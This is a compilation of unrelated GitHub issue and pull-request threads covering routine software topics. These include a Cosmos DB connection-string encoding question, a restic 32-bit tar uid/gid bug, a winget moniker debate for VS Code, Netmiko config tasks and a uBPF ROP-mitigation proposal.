The password with "%3D%3D" are in the "Quick start" menu in the code for mongodb 3+ for Node js
Hope this can save someone a few days of checking security rules, code, and mastering the Azure webapp nodejs deployment on azure :)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 05af42e7-9d86-b794-e133-efbd46665b9c
Version Independent ID: 0af5eead-7620-ea77-efad-c9ec595fae4f
Content: MongoDB connection string for an Azure Cosmos DB account
Content Source: articles/cosmos-db/connect-mongodb-account.md
Service: cosmos-db
GitHub Login: @slyons
Microsoft Alias: sclyon

@nanomo the connection string is has ASCII code equivalent of the '=' character in the Node.js version, did the %3D%3D version didn't work when you use it in the quickstart app? I see you are not blocked, but please confirm if there is any fix from our end in the portal or the doc.

My setup with express + mongoose + cosmos DB with mongo works only if i use:
"%3D%3D" like mention in the code on the "quick start" , this happens either on azure nor my local machine.
If i use the connection string where in the portal is showing "==" that fails to connect.

@nanomo I confirmed this with our dev team, for the MongoDB Node.js 2.2 driver the connectivity works with "==" character. For 3.0 version and higher, the connection string should have the ASCII character %3D%3D, it's expected to fail if you use the regular character. So what's in the portal is correct.  Hope this clarifies.

@nanomo We will now proceed to close this thread. If there are further questions regarding this matter, please comment and we will gladly continue the discussion.


Update zio-test to 1.0.14

Updates dev.zio:zio-test from 1.0.9 to 1.0.14.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "dev.zio", artifactId = "zio-test" } ]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Superseded by #76.


How to merge adult and pediatric data into data_loader_3d_balanced

Hello,
Your work is fantastic and highly innovative. However, I am having trouble understanding how to merge two preprocessed datasets and run nnUNetv2_train 237 3d_fullres_bs4 0 -tr nnUNetTrainerDA_500ep_noDS_4Convs --npz. My BraTS2023_PED dataset's data_id is 237, and I need to merge adult and pediatric data into data_loader_3d_balanced. I encounter an error:
data_loader_3d_balanced.py", line 34, in get_indices *np.random.choice(class_indices, int(self.batch_size / len(self.indices)), replace=True,File "numpy/random/mtrand.pyx", line 951, in numpy.random.mtrand.RandomState.choice ValueError: 'a' cannot be empty unless no samples are taken.
Could you please guide me on how to resolve this issue?
Thank you!

Hi,
To proceed, please place both datasets into a single nnUNet preprocessed folder. Additionally, adjust the domain_mapping to align with your data. Refer to:
Link to the code.


return if the backtrace is not there

For example if a new error has been constructed but not thrown: https://github.com/resque/resque/blob/v1.25.2/lib/resque/worker.rb#L551
otherwise this raises calling index on nil

👍

I think this will just fail with nil.join - we need to return from save, not filter_backtrace

Thanks, I've updated this pull request. cc @tfausak ?

👍 I like this idea. I'm not sure I agree with the latest commit, though. Why should this gem log the exception? Presumably something else is already doing that. How do you feel about this change instead?
diff --git a/lib/resque/failure/backtrace.rb b/lib/resque/failure/backtrace.rb
index 2d9b216..bc0fe3e 100644
--- a/lib/resque/failure/backtrace.rb
+++ b/lib/resque/failure/backtrace.rb
@@ -2,7 +2,7 @@ module Resque
   module Failure
     class Backtrace < Base
       def save
-        bt = filter_backtrace(exception.backtrace)
+        bt = filter_backtrace(exception.backtrace || [])
         worker.log bt.join("\n")
       end

works for me

thanks for merging @tfausak ! Any chance of a release to rubygems?

👍
I'm not currently an owner of the gem, so it may take a little while to cut a release.

@tfausak Adding you as an owner now.

Thanks! Released in version 0.0.2.


issue with toggle-chapters

Hi,
I'm using empty chapters in my book with the ungrey and toggle-chapters plugin. This allows to display only the top level articles in the ToC at startup, then expand the child articles by clicking on the main article.
However, if I'm using the search plugin, the whole ToC structure is expanded on startup and will only fold back if I refresh.
Could you please check if you could solve this problem?
Many thanks!

can you show me a example?

Hi,
It occurred with the older version, where lunr is enabled.
In the newer version, where lunr has to be disabled, it works correctly.
I will test search accuracy (as disabling lunr makes us rely on the search_plus_index.json only), if it's good, I will close the issue.
Thanks!

I'm closing this since the search accuracy seems to be good and the issue is gone.
Thanks!


How to get from child

How to get int  value from child
please help me  thank you

Please provide more detail or give some example.


Readme update

Readme file needs to be updated. Some sections mention that this project will help people explore groups, which is true but outdated now. Expansion needed about package, is stable now as of current version. Other changes.

This has been done.


Implement RefreshView page

RefreshView Page
Demonstrate how the refresh view page works in Maui
Missions:

[ ] Control Information
[ ] Properties List
[ ] Simple example
[ ] Demonstrate with CollectionView
[ ] Custom the appearance

git fetch origin
git checkout 60-implement-refreshview-page


32-bit binary tar dump of repository with high uid, gid entries cannot be read by gnu tar

This issue is related to #4101 and the discussion in #4102 with @greatroar.

Output of restic version
When creating the tar dump, the issue appears with 32-bit versions in different architectures:
restic 0.14.0 compiled with go1.19 on linux/arm
restic 0.14.0 compiled with go1.19 on windows/386

The version of gnu tar is 1.34:
$ tar --version
tar (GNU tar) 1.34

How did you run restic exactly?
This is from #4101.
Create a repository with a single snapshot and a single file entry in the snapshot with a high uid and/or gid. Here is an example with uid and gid<PHONE_NUMBER> in the node of the snapshot of the repository, accomplished with a backup of stdin in Windows (more details in #4101).
> restic --password-file=testpassfile.txt --repo=repo ls -l c7afaf40
repository 1a634ddc opened (repository version 2) successfully, password is correct
snapshot c7afaf40 of [D:\stdin] filtered by [] at 2022-12-26 09:30:25.2227589 +0100 CET):
-rw-r--r--<PHONE_NUMBER><PHONE_NUMBER>     13 2022-12-26 09:30:25 /stdin

Then dump a tar file of the snapshot from any 32-bit binary version of restic. I use the same binary that I downloaded before.
restic_0.14.0_windows_386 --password-file=testpassfile.txt --repo=repo dump latest / > t32bit.tar

Then try to list the contents of the created tar file with gnu tar:
$ tar tvf t32bit.tar
tar: Extended header gid=-1 is out of range 0..4294967295
tar: Extended header uid=-1 is out of range 0..4294967295
-rw-r--r-- 0/0              13 2022-12-26 09:30 stdin
tar: Exiting with failure status due to previous errors

(Do not use bsdtar of Windows; the problem only manifests with gnu tar.)
What backend/server/service did you use to store the repository?
Filesystem, but the backend is not relevant.
Expected behavior
I would expect that the tar file is read by gnu tar without gnu tar exiting with failure status.

Actual behavior
Gnu tar exits with failure status.

Steps to reproduce the behavior
See above.

Do you have any idea what may have caused this?
The value of uid and gid in a restic node are stored as uint32. In our example we have a value of<PHONE_NUMBER>.
> restic_0.14.0_windows_386 --password-file=testpassfile.txt --repo=repo ls -l c7afaf40
repository 1a634ddc opened (repository version 2) successfully, password is correct
snapshot c7afaf40 of [D:\stdin] filtered by [] at 2022-12-26 09:30:25.2227589 +0100 CET):
-rw-r--r--<PHONE_NUMBER><PHONE_NUMBER>     13 2022-12-26 09:30:25 /stdin

Then, when the snapshot is dumped to a tar file, the uid and gid are converted to int
https://github.com/restic/restic/blob/78c7dd53efa035251d6b65dc4be106f45526f139/internal/dump/tar.go#L41-L52
In a 32-bit binary, the uint32 value<PHONE_NUMBER> is converted to an int (int32) value of -1.
See also https://pkg.go.dev/archive/tar#Header.
The problem appears with every value from<PHONE_NUMBER> to<PHONE_NUMBER> (including) which is mapped to a negative value of type int32.
Do you have an idea how to solve the issue?
We should adapt the tar dump to not create negative values for uid and gid in the case of 32-bit binaries. We could substitute values in the range [2147483648,<PHONE_NUMBER>] with the zero or the maximum value of int32. Should we do this transformation just for 32-bit binaries?
Did restic help you today? Did it make you happy in any way?
Absolutely!

This is mostly a limitation of the tar package in the go standard library (https://github.com/golang/go/blob/master/src/archive/tar/common.go#L26). It internally converts the uid/gid to int64 which would be sufficient for our usages.
As uids between 2^30 and 2^31 - 2 are valid, I don't think we should touch them. But as mentioned in https://github.com/restic/restic/pull/4102#issuecomment-1365940739, it should be fine to convert a uid/gid of -1 to 0. That special case should only apply on 32-bit systems, that is if header.Uid == -1. The latter is never true on 64-bit systems.

OK, I am writing something along these lines @MichaelEischer.


docs: improve consumability and accuracy of fscloud doc

Description
Improve consumability and accuracy of fscloud doc
Addresses https://github.com/terraform-ibm-modules/terraform-ibm-icd-postgresql/issues/48
Types of changes in this PR
No release required

[ ] Examples or tests (addition or updates of examples or tests)
[x] Documentation update
[ ] CI-related update (pipeline, etc.)
[ ] Other changes that don't affect Terraform code

Release required

[ ] Bug fix (patch release (x.x.X): Change that fixes an issue and is compatible with earlier versions)
[ ] New feature (minor release (x.X.x): Change that adds functionality and is compatible with earlier versions)
[ ] Breaking change (major release (X.x.x): Change that is likely incompatible with previous versions)

Release notes content
Replace this text with information that users need to know about the bug fixes, features, and breaking changes. This information helps the merger write the commit message that is published in the release notes for the module.

Checklist for reviewers

[ ] The PR references a GitHub issue.
[ ] If relevant, a test for the change is included or updated with this PR.
[ ] If relevant, documentation for the change is included or updated with this PR.

Merge actions for mergers

Merge by using "Squash and merge".

Use a relevant conventional commit message that is based on the PR contents and any release notes provided by the PR author.
The commit message determines whether a new version of the module is needed, and if so, which semver increment to use (major, minor, or patch).

@vburckhardt wanted to make sure you saw my comments on this PR. It has been open for a week.

@vburckhardt checking in again on this open PR. I see that you made some updates. What is left (besides addressing conflicts)?

@vburckhardt Does the /profiles/fscloud/readme.md content in #185 cover this PR?

Updates included in https://github.com/terraform-ibm-modules/terraform-ibm-icd-postgresql/pull/186


Allow Regex to declare nodes for bgp peer groups/bgp peers to apply to all L3LEAFs instead of needing to define each one.

Enhancement summary
When defining nodes for bgp peer groups and bgp peers within my tenant there needs to be the ability to use regex to match all l3leafs instead of defining each one.
Which component of AVD is impacted
eos_designs
Use case example
can't define each l3leaf node when there will be 50+ per site.
Describe the solution you would like
regex match l3l_site1-.*
Describe alternatives you have considered
defining each leaf under the nodes.
Additional context
No response
Contributing Guide

[X] I agree to follow this project's Code of Conduct

Peer groups will automatically be pulled into the devices where there is a neighbor using it, so you can save a bit of maintenance there :)

Good to know. I'll try it out. Thx!
On Mon, Jun 3, 2024, 2:49 AM Claus Holbech @.***> wrote:

Peer groups will automatically be pulled into the devices where there is a
neighbor using it, so you can save a bit of maintenance there :)
—
Reply to this email directly, view it on GitHub
https://github.com/aristanetworks/avd/issues/3973#issuecomment-2144762608,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AF6KPX5N3YUWLBTECEDXZXLZFQ3Y7AVCNFSM6AAAAABHNK4GIKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNBUG43DENRQHA
.
You are receiving this because you authored the thread.Message ID:
@.***>


Microsoft Teams auto attendant/call queue in Hybrid voice connectivity

Can we use SFB on-premise server Hybrid Voice Connectivity with Microsoft Teams for cloud auto-attendant & call queues for on-premise SFB client users as agents, is this scenario is supported?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: a1fa33a8-d910-caee-89ad-62f449a6072f
Version Independent ID: 2b33ed7d-da28-f5d0-d5ff-d2e72effa3d7
Content: Teams voice Contoso case study - Microsoft Teams
Content Source: Teams/voice-case-study-call-queues.md
Service: msteams
GitHub Login: @CarolynRowe
Microsoft Alias: crowe

Thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products:https://docs.microsoft.com/office365/admin/contact-support-for-business-products
Please keep us posted here on the resolution so we can feed whatever information you discover into the content.


Encode BPF instructions to mitigate ROP attacks

Add a layer of abstraction to load and store instructions in the VM.
When storing instructions, xor the instructions with the base address of the VM and optionally a user-supplied key.
When loading instructions, xor the instructions with the base address of the VM and optionally a user-supplied key.
Resolves: #81
Signed-off-by: Alan Jowett<EMAIL_ADDRESS>

Not sure this adds value as the attack can script a series of calls via ROP to do the ubpf_load, then the ubpf_exec.


Upgrade test container version

Many thanks for submitting your Pull Request :heart:!

Closes/Fixes/Resolves #ISSUE-NUMBER

Description:

Please make sure that your PR meets the following requirements:

[ ] You have read the contributors guide
[ ] Your code is properly formatted according to this configuration
[ ] Pull Request title is properly formatted: Issue-XYZ Subject
[ ] Pull Request title contains the target branch if not targeting main: [0.9.x] Issue-XYZ Subject
[ ] Pull Request contains link to the JIRA issue
[ ] Pull Request contains link to any dependent or related Pull Request
[ ] Pull Request contains description of the issue
[ ] Pull Request does not include fixes for issues other than the main ticket

How to replicate CI configuration locally?

Build Chain tool does "simple" maven build(s), the builds are just Maven commands, but because the repositories relates and depends on each other and any change in API or class method could affect several of those repositories there is a need to use build-chain tool to handle cross repository builds and be sure that we always use latest version of the code for each repository.
build-chain tool is a build tool which can be used on command line locally or in Github Actions workflow(s), in case you need to change multiple repositories and send multiple dependent pull requests related with a change you can easily reproduce the same build by executing it on Github hosted environment or locally in your development environment. See local execution details to get more information about it.

PR job #1 was: UNSTABLE
Possible explanation: This should be test failures

Reproducer
build-chain build full_downstream  -f 'https://raw.githubusercontent.com/${AUTHOR:apache}/incubator-kie-kogito-pipelines/${BRANCH:main}/.ci/buildchain-config-pr-cdb.yaml' -o 'bc' -p apache/incubator-kie-kogito-runtimes -u https://github.com/apache/incubator-kie-kogito-runtimes/pull/3607 --skipParallelCheckout
NOTE: To install the build-chain tool, please refer to https://github.com/kiegroup/github-action-build-chain#local-execution

Please look here: https://ci-builds.apache.org/job/KIE/job/kogito/job/main/job/pullrequest_jobs/job/kogito-runtimes-pr/job/PR-3607/1/display/redirect
Test results:

PASSED: 3285
FAILED: 1

Those are the test failures:

org.jbpm.bpmn2.IntermediateEventTest.testIntermediateCatchEventTimerCycle3
expected: 3 but was: 2


Wrong deprecation warning on using task outputs in another task with no explicit task dependency

When declaring a filtered fileTree as input for a task, gradle emits a deprecation warning about using output from another task even though this output is filtered out explicitly in the tasks inputs declaration.
Steps to Reproduce
With the sample project attached run:
In the script we filter out the build folder explicitly from the inputs of myTask (which you can verify by checking the output of the myTask.
But running
./gradlew clean compileJava myTask

still emits this deprecation warning:
> Task :myTask
Validation failed for task ':myTask', disabling optimizations:
  - Task ':myTask' uses the output of task ':compileJava', without declaring an explicit dependency (using Task.dependsOn() or Task.mustRunAfter()) or an implicit dependency (declaring task ':compileJava' as an input). This can lead to incorrect results being produced, depending on what order the tasks are executed.
Task ':myTask' uses the output of task ':compileJava', without declaring an explicit dependency (using Task.dependsOn() or Task.mustRunAfter()) or an implicit dependency (declaring task ':compileJava' as an input). This can lead to incorrect results being produced, depending on what order the tasks are executed. This behaviour has been deprecated and is scheduled to be removed in Gradle 7.0. Execution optimizations are disabled due to the failed validation. See https://docs.gradle.org/7.0-milestone-1/userguide/more_about_tasks.html#sec:up_to_date_checks for more details.

overlappinginputs.zip
Your Environment

Running with Gradle 7.0-milestone-1

Build scan URL:
https://gradle.com/s/pz3rqikhptn5g

Hmm... If you use exclude 'build/**' instead of exclude 'build' then it works. So seems like we are interpreting the excludes not consistent with what file tree is doing.

@wolfs thanks for looking into this. interesting. This at least unblocks us from migrating

@breskeby I have a fix for this in #16174. Thank you for bringing the bug to my attention!
As a clarification: This new warning about missing task dependencies is a new deprecation in 7.0 and will fail your build in 8.0. So this deprecation won't block you from upgrading to 8.0.

Thanks. Yes understood. But we currently fail for any deprecation warning. So we want this sorted as part of the migration


feat: Add n* flags

Description
Add flags to create a specific number of records per metric type.
I was thinking about doing something more clever with the bitmasks but just went for a simpler if uglier approach.

@paolobueno there are some problems I think. I see security entries also have the device id etc with them. Could we separate them totally? Init event should only have device and app info, security events should only have security checks.
What do you think?

@aliok have you tried running like go run scripts/data-fill.go -nInit 100 -nSecurity 1000 ? This should create 100 app+platform records and 1000 security records.
I've tested it over here again and they're not mixed up.

I'll go ahead and update the readme to match

Pull Request Test Coverage Report for Build #80

0 of 0 (NaN%) changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 87.833%

Totals

Change from base Build #77:
0.0%

Covered Lines:
231

Relevant Lines:
263

💛  - Coveralls


UI CI

Closes #1806

Adds a make target for the deploying of the static web app
Creates config file, Builds and deploys the SWA
Adds CORS URI to api app
Prompts user to set redirect URI in AAD app, as potential complexity of automating that suddenly exploded

/test

/test


Updated SQL Database Projects extension displayName and description

Coverage decreased (-0.05%) to 35.242% when pulling 583f5e57c49212e2bdb2e3aaa2d2eb48a5bff16e on benjin/updateProjectsMetadata into d58c15f98b8ff7b0f924ea7951be4adcef09448f on main.


feat(slang): added dfkm

Closes #215
What new changes did you make? Tick all applicable boxes

[ ] Added new abbreviation

Describe the new changes you added.
Added a new slang dfkm

Share a screenshot of new changes

Do you need help reverting the package-lock.json @chibuike-19 ?

yes

Where are u stuck? I'd like to help

I'm sorry but I will have to close this PR. I has been stagnating for a while. Feel free to checkout more issues you may want to work on. Thank you nonetheless for your contribution.


VS Code's appmoniker is "vscode", not "code"?

The CLI for VS Code is code/code-insiders and as a result the deb/snap/rpm packages are named code and code-insiders. The winget package should do it as well. I'd like to make this change if it sounds good.

cc @KevinLaMS

I think code is not a good name because it's prone to conflicts. Non-Microsoft projects referencing it are using the moniker vscode. For example, Scoop.

I have to agree with @NatoBoram on this. It's also known as vscode on chocolatey.

It's only known as vscode on chocolatey because it's not an official package. If it were it would be consistent with the rest of the packages and the CLI.

It's still inherently a bad name for being so prone to conflict. For example, even code on Elementary OS changed their moniker to io.elementary.code. VSCode's repo is also vscode, obliterating your only argument.

I don't know if "vscode is used somewhere" obliterates my argument. My argument is to align it with the cli for ux/discoverability reasons:
winget install code
code

apt install code
code

I brought up when I joined the team these potential conflicts with a generic name like code and maybe changing the cli to vscode, but the decision was to keep the cli as code, so packages have inherited that.

How about to support 2 monikers?

@felipecassiors that's the preference

The value "code" makes sense in the "Commands" key, but we've seen more preference for "vscode" as the value for the "AppMoniker" key.

@denelon the docs say

# List of commands or aliases the user would use to run the package.

Does winget install code work/redirect to it?

No, because of multiple matches.
Maybe we should invest in winget install --comand instead, like --moniker?

@felipecassiors or @Tyriar if you think that feature would have merit, go ahead and create it in the cli repository. I would expect we might still have a collision between manifests of the released version and the stable version if the meta-data were similar between the two, but the results would be narrowed down.

The value "code" makes sense in the "Commands" key, but we've seen more preference for "vscode" as the value for the "AppMoniker" key.

@denelon based on this isn't not more of a preference:

Additionally, the preference of the VS Code team is to use code and code-insiders such that winget install code works and it matches the CLI, ideally with both being supported.
It's not clear what the concern about conflicts is, if an app as popular as VS Code comes around and wants to use "code" as well? Searching will still work, just install code should install vscode so it matches the experience on other platforms.

But @Tyriar, that's not how winget works. In winget world there is not unique and claimable id (different from Chocolatey, Snap, and most of the package managers). The closest thing to it is the Manifest ID, but vscode or code isn't a value that fits in it.

It's not clear what the concern about conflicts is, if an app as popular as VS Code comes around and wants to use "code" as well? Searching will still work, just install code should install vscode so it matches the experience on other platforms.

Monikers are not unique, neither claimable, if two exist, winget will narrow down both, and then you have to choose using the Manifest ID.

I would expect we might still have a collision between manifests of the released version and the stable version if the meta-data were similar between the two, but the results would be narrowed down.

@denelon in this case, use -e: winget install --command code -e.

But @Tyriar, that's not how winget works. In winget world there is not unique and claimable id (different from Chocolatey, Snap, and most of the package managers).

Ok I didn't know this, thanks.

The bottom line is there is no way to guarantee winget install code (or vscode) will always install VS Code. But still, vscode moniker can be changed to code.

This seems like a real shame. People want to use winget to automate their setup, but there's no way to guarantee that a command will not require manual intervention?

This seems like a real shame. People want to use winget to automate their setup, but there's no way to guarantee that a command will not require manual intervention?

I meant by using the moniker. But you can do it by using the manifest id:
winget install -e Microsoft.VisualStudioCode

@felipecassiors :+1: ok great, this is what I'll recommend using in the docs then. As for the moniker, supporting both code and vscode would be best as you suggested.

@felipecassiors 👍 ok great, this is what I'll recommend using in the docs then. As for the moniker, supporting both code and vscode would be best as you suggested.

There is also a feature request accepted, that will prevent you to have to use the -e option:
https://github.com/microsoft/winget-cli/issues/292 - spec
But until there, it is safer to use the -e switch (mainly if the Insiders version of VS Code is also coming).


Re-add netmiko send_config

Re-submit https://github.com/napalm-automation/brigade/pull/67 to fix rebase issue and to add unit tests.

Here is example test code:
from brigade.core import Brigade
from brigade.plugins.inventory.simple import SimpleInventory
from brigade.plugins.tasks.connections import netmiko_connection
from brigade.plugins.tasks.networking import netmiko_send_config

def result_printer(result):
    for host, result_obj in result.items():
        print('-' * 80)
        print(result_obj[0].result)
        print('-' * 80)

brigade = Brigade(inventory=SimpleInventory("hosts.yml", "groups.yml"), dry_run=False)
b = brigade.filter(group='cisco-ios')

# Explicitly create the connection and execute config changes
b.run(task=netmiko_connection, num_workers=60)
commands = ['logging buffer 30000', 'no logging console']
result = b.run(netmiko_send_config, num_workers=60, config_commands=commands)
result_printer(result)

# Explicitly create the connection and execute config changes
brigade2 = Brigade(inventory=SimpleInventory("hosts.yml", "groups.yml"), dry_run=False)
b2 = brigade2.filter(group='cisco-ios')
result = b2.run(netmiko_send_config, num_workers=60, config_file="config_load.txt")
result_printer(result)

Here is the output from running that code:
python test_netmiko_config2.py
--------------------------------------------------------------------------------
config term
Enter configuration commands, one per line.  End with CNTL/Z.
pynet-rtr1(config)#logging buffer 30000
pynet-rtr1(config)#no logging console
pynet-rtr1(config)#end
pynet-rtr1#
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
config term
Enter configuration commands, one per line.  End with CNTL/Z.
pynet-rtr2(config)#logging buffer 30000
pynet-rtr2(config)#no logging console
pynet-rtr2(config)#end
pynet-rtr2#
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
config term
Enter configuration commands, one per line.  End with CNTL/Z.
pynet-rtr1(config)#logging buffered 10000
pynet-rtr1(config)#logging console
pynet-rtr1(config)#end
pynet-rtr1#
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
config term
Enter configuration commands, one per line.  End with CNTL/Z.
pynet-rtr2(config)#logging buffered 10000
pynet-rtr2(config)#logging console
pynet-rtr2(config)#end
pynet-rtr2#
--------------------------------------------------------------------------------

This is really nice. Just a couple of nitpicky comments. Also, have you tested if sphinx renders the documentation? I think it should.

@dbarrosop Okay, I think I fixed your two items. Not sure about the second one, but I copied the spacing pattern you had used for a napalm plugin.
Sphinx is all fubar on Fedora (or more exactly pandoc is fubar requiring a Haskell compiler). I will have to figure out a way to look at it. I looked after the fact at the readthedocs (on the other Netmiko task) and it looks like it renders properly.

but I copied the spacing pattern you had used for a napalm plugin

Ok, I will probably have to fix that. There is no reason for that space and I am afraid sphinx might interpret that as a new section.

Sphinx is all fubar on Fedora (or more exactly pandoc is fubar requiring a Haskell compiler).

If it's useful we can add a docker container.


[Snyk] Security upgrade react-scripts from 4.0.2 to 5.0.0

Snyk has created this PR to fix 1 vulnerabilities in the npm dependencies of this project.
Snyk changed the following file(s):

package.json

Vulnerabilities that will be fixed with an upgrade:

Issue
Score

Improper Verification of Cryptographic Signature SNYK-JS-ELLIPTIC-8187303
  828

[!IMPORTANT]

Check the changes in this PR to ensure they won't cause issues with your project.
Max score is 1000. Note that the real score may have changed since the PR was raised.
This PR was automatically created by Snyk using the credentials of a real user.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
📜 Customise PR templates
🛠 Adjust project settings
📚 Read about Snyk's upgrade logic

Learn how to fix vulnerabilities with free interactive lessons:
🦉 Learn about vulnerability in an interactive lesson of Snyk Learn.

❌ Deploy Preview for affectionate-babbage-7132a7 failed.

Name
Link

🔨 Latest commit
a6edb836e8074213aad961c5b9cb96265e6443ef

🔍 Latest deploy log
https://app.netlify.com/sites/affectionate-babbage-7132a7/deploys/67159b8340cdac000803f023


Extract Portable Ruby download information into a templatable file

Verification

[X] This issue's title and/or description do not reference a single formula e.g. brew install wget. If they do, open an issue at https://github.com/Homebrew/homebrew-core/issues/new/choose instead.

Provide a detailed description of the proposed feature
We currently have complex logic in vendor-install to install Portable Ruby: https://github.com/Homebrew/brew/blob/15dc76c5a7a8e51eb465615206666bf7840d0d61/Library/Homebrew/cmd/vendor-install.sh#L15-L66
This is difficult to machine-update. Ideally this should be extracted so that:

Version information is read from Library/Homebrew/vendor/portable-ruby-version
SHA256 information is read from another file

An example system could be a directory (say Library/Homebrew/utils/portable-ruby-sha256/ or similar) that has files x86_64-linux, arm64-darwin and x86_64-darwin with contents something like:
ruby_TAG=el_capitan
ruby_SHA=5c86a23e0e3caee1a4cfd958ed7d50a38e752ebaf2e7c5717e5c8eabaa6e9f12

that we then source appropriately in cmd/vendor-install.sh.
What is the motivation for the feature?
To automate Portable Ruby releases further so that PRs like https://github.com/Homebrew/brew/pull/17399 could be fully automated (larger 3.3 -> 3.4 updates is out-of-scope for now).
How will the feature be relevant to at least 90% of Homebrew users?
Portable Ruby releases reach users a little faster
What alternatives to the feature have been considered?
Continue updating manually

Great idea, thanks @Bo98!

Definitely makes sense to automate this.
What's the difference between updating content in a vendor-install.sh file vs. updating it in a separate file? Obviously a separate file is easier to implement, so I guess my actual question is where does the update come from? The homebrew-portable-ruby release workflow? A workflow in this repo? Dependabot?

The homebrew-portable-ruby release workflow?

Probably this.

What's the difference between updating content in a vendor-install.sh file vs. updating it in a separate file?

Sed replacing ruby_SHA based on pattern matching of the previous line is a bit messy but not impossible

https://github.com/Homebrew/brew/pull/17557 landed in https://github.com/Homebrew/brew/releases/tag/4.3.8.


Invertible wasm smith

That's just completely crazy, but the idea behind wasm smith is that we define a surjective mapping, ws :: Vec<u8> -> WASM, so that we can re-use coverage guided fuzzing tools. Now, if we manage to defne sw :: WASM -> Vec<u8> such that ws(sw(X)) == X (right inverse?), then we'll get minimization for free. You can start with large wasm couter-example, hydrate it to unstructured bytes, and feed the bytes as the input to the fuzzer. Not sure if that'll be more efficient/simpler to write than the direct WASM -> WASM shrinker, but it at least sounds cool.

This sounds neat, but I don't think that this is something we're going to want to implement and maintain. AFAIK the wasm-mutate tool is going to serve the basis for shrinking wasm, and otherwise trying to maintain a parallel path of converting a wasm module back to the original bytes that it could be generated with using wasm-smith I think would be way too complicated to maintain for now. Currently nothing in wasm-smith is really architected for that and doing so would probably result in a pretty large rewrite to almost a new crate anyway.


refactor libs to be shared between thread_local_store_test.cc and fut…

…ure lazyinit_stats_benchmark_test
cribbed from https://github.com/envoyproxy/envoy/pull/23921, this is a code move refactor CL that split the common code from the original testing file.
Commit Message:
Additional Description:
Risk Level:
Testing:
Docs Changes:
Release Notes:
Platform Specific Features:
[Optional Runtime guard:]
[Optional Fixes #Issue]
[Optional Fixes commit #PR or SHA]
[Optional Deprecated:]
[Optional API Considerations:]

/retest

needs format fix
/wait


Oversized request closed whenever Expect: 100-continue is not present, version 4.1.0-Beta3

This is a question about an issue I have experienced with the implementation of HttpObjectAggregator.handleOversizedMessage in 4.1.0-Beta3.
When testing with my project I found that oversized requests were being closed prematurely (in the opinion of the client) because the Expect: 100-continue header was missing. Relevant code here. This caused some of the clients I tested with to fail with 'connection reset by peer' and 'broken pipe' messages.
Now, if it is the intention to be very strict and punish clients for not using the Expect header then that's ok I can provide my own implementation. However, if the intention was not to trigger connection errors in the client, then perhaps my changes over here could be helpful?

@g-eorge sorry for the delay but I think this is fixed in 4.1.0.Beta6. If the issue still exists please reopen.


Create a block "Intro"

Make an intro (introduction), where in 2-4 sentences describe what you do, what you like to do, what you want to do better, what is important to do, why you are here.

Create block Skills


Implement getProof method

A module for calculating historic proofs on a Trie is required.

The ability to gather a proof for a leaf on any of the three tries, and another method to verify it.

After chat with @asdacap - decided to allow him to  use already existing logic. Will need review from @IronGauntlets and @rianhughes


HTTP perf-dash should redirect to HTTPS instead of returning 404

[Originally filed by @adtac in https://github.com/kubernetes/test-infra/issues/20359]

What happened: http://perf-dash.k8s.io returns 404.
What you expected to happen: It should redirect to https://perf-dash.k8s.io instead.
How to reproduce it (as minimally and precisely as possible): Go to http://perf-dash.k8s.io on your browser.
cc @mborsz

Maybe it was fixed in the meantime but it seems to be working both over http and https.
Also, redirect from http to https should happen in the LB config not in the perf-dash code. So if the issue persists, an issue should be filed against kubernetes/k8s.io to change the LB settings

Maybe it was fixed in the meantime but it seems to be working both over http and https.
Also, redirect from http to https should happen in the LB config not in the perf-dash code. So if the issue persists, an issue should be filed against kubernetes/k8s.io to change the LB settings


feat(v1.0.0): Refactors repository and ready for 1.0.0 release

This is a breaking release. In specific:

entry is removed in favour of new. For creating log entries
The _devlogs directory is now a hidden folder .devlogs when initialized
The ability to .gitignore the .devlogs file via the prompt is removed

New Features

the devlogs repository now has a .log_template.erb.md that can be modified for your own custom templates
You can now choose where you want to initialize the repository, i.e. --dirpath can be set when running init. Note that in order for devlogs to function you will need to be located inside that directory to run commands.

Dev Additions

The code has been refactored significantly for readability and Ruby idioms.

Future ideas on the horizon:

Optional --dirpath option for any command
Adding issue tracking to the devlogs repository (This involves expanding the new command into a CLI menu of itself, i.e. new log or new issue, et cetera). Some other implications to this that will need to be worked through
Adding homebrew formula


New ARTPush/getDevicePushDetails method for simplifying push state access

This is what I came up with:

Until there are separate server endpoints for getting ARTDevicePushDetails/recipient and ARTPushState, they should be kept in one place (ARTDevicePushDetails).
We should never persist ARTPushState inside ARTLocalDevice, because it has no sense. If you need state - you just request it.

So, the new method is just a wrapper for a simple access to the push state of the local device (which makes sense).

I've named it getState since it's already inside ARTPush object. Also in case of different server endpoints for state and other push details there will be different data structure in response. So naming it getState will make sense. On the other hand, I'm sure this information (push state and other push details) is stored on the server in the same db record, so having different endpoints seems unnecessary. So probably there will not be different endpoints, thus response structure will stay the same as it's now (ARTDevicePushDetails) and naming this new method getDevicePushDetails is a good idea.

@maratal have you addressed Bens comment here?

https://github.com/ably/docs/issues/1251#issuecomment-964125201

@ben-xD Should we merge this? (since further fixes are server-side)

@ben-xD Should we merge this? (since further fixes are server-side)

Nope I think we should wait for the fix to be done. We would be releasing an API to users which doesn't work as expected, which is a bad thing.

Since the method has been renamed to getDevicePushDetails,the title of the issue and your new replies should stop using getState, opting for getDevicePushDetails instead? It's confusing to see this.

